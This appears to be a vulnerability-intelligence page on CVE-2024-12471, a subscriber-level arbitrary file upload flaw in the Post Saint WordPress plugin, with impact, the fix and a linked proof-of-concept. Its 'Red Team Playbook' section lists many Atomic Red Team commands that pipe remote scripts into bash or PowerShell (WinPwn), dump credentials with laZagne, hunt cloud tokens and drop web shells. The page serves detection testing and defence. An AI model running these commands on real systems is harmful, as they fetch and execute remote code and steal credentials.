CVE-2024-12471
Overview
This vulnerability is an arbitrary file upload flaw caused by the absence of proper capability checks and file type validation in the add_image_to_library AJAX action function of the Post Saint WordPress plugin. The affected component is the plugin's image upload handler, which processes user-supplied files without verifying permissions or restricting file formats. This lack of validation enables unauthorized file uploads within authenticated user sessions.
Vulnerability Description
The Post Saint: ChatGPT, GPT4, DALL-E, Stable Diffusion, Pexels, Dezgo AI Text & Image Generator plugin for WordPress is vulnerable to arbitrary files uploads due to a missing capability check and file type validation on the add_image_to_library AJAX action function in all versions up to, and including, 1.3.1. This makes it possible for authenticated attackers, with subscriber-level access and above, to upload arbitrary files that make remote code execution possible.
Impact
An attacker with subscriber-level access or above can upload arbitrary files, including malicious scripts, leading to remote code execution on the web server. This requires authentication but no user interaction beyond logged-in access. Successful exploitation may result in full system compromise, data exfiltration, or service disruption. The CVSS vector indicates network attack complexity is low and privileges required are limited to authenticated users, increasing the attack surface within compromised or low-trust user accounts.
Solution
Upgrade the Post Saint plugin to version 1.3.2 or later, where the issue is resolved by implementing proper capability checks and file type validation in the add_image_to_library AJAX action. Refer to the official WordPress plugin page at https://wordpress.org/plugins/post-saint/ and the Wordfence advisory for detailed patch instructions and version updates. No alternative workarounds are documented.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the ChatGPT, GPT4, DALL-E, Stable Diffusion, Pexels, and Dezgo AI Text & Image Generator plugin for WordPress arises from inadequate checks on file uploads. Specifically, the absence of proper capability verification and file type validation within the add_image_to_library AJAX action function allows authenticated users, even those with minimal privileges such as subscriber-level access, to upload arbitrary files. This oversight can lead to severe security implications, as it opens the door for attackers to execute remote code on the server. The lack of stringent controls means that malicious actors can exploit this vulnerability to upload scripts or executables that can compromise the integrity and confidentiality of the web application.
Exploitation of this vulnerability can occur through several attack vectors. An authenticated user, who may have legitimate access to the WordPress environment, can craft a malicious file disguised as an image. By leveraging the AJAX functionality intended for legitimate uploads, the attacker can bypass security measures and execute arbitrary code on the server. Once the malicious file is uploaded, the attacker can gain control over the server, potentially leading to further exploitation, data exfiltration, or the deployment of additional malware. This scenario underscores the critical need for robust access controls and file validation mechanisms in web applications.
The real-world impact of this vulnerability is significant, particularly for organizations relying on the affected plugin for content generation and management. Successful exploitation can lead to unauthorized access to sensitive data, disruption of services, and damage to the organization's reputation. The potential for remote code execution means that attackers could manipulate the server environment, install backdoors, or pivot to other systems within the network. Consequently, businesses face not only the immediate risks associated with data breaches but also long-term ramifications, including financial losses, regulatory penalties, and erosion of customer trust.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating the plugin to the latest version is crucial, as developers typically address known vulnerabilities in subsequent releases. Additionally, organizations should conduct thorough security audits and penetration testing to identify and remediate weaknesses in their web applications. Employing a web application firewall (WAF) can help filter out malicious requests and provide an additional layer of protection against file upload attacks. Furthermore, implementing strict file type validation and capability checks on all file upload functionalities can significantly reduce the risk of exploitation.
In conclusion, the vulnerability in the ChatGPT, GPT4, DALL-E, Stable Diffusion, Pexels, and Dezgo AI Text & Image Generator plugin highlights the critical importance of secure coding practices and rigorous validation processes in web applications. By understanding the technical details, potential attack vectors, real-world impacts, and effective mitigation strategies, organizations can better protect themselves against the risks associated with arbitrary file uploads and remote code execution. Proactive security measures and a commitment to continuous improvement are essential in safeguarding digital assets in an increasingly complex threat landscape.
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
RandomRobbieBF/CVE-2024-12471
Post Saint: ChatGPT, GPT4, DALL-E, Stable Diffusion, Pexels, Dezgo AI Text & Image Generator <= 1.3.1 - Missing Authoriz...
|
RandomRobbieBF | 1 | 0 | 2025-01-07 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-12471 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/bc17284e-65ea-4e67-aba9-3475f0174657?source=cve |
| wordpress.org |
GitHub CVE
|
https://wordpress.org/plugins/post-saint/ |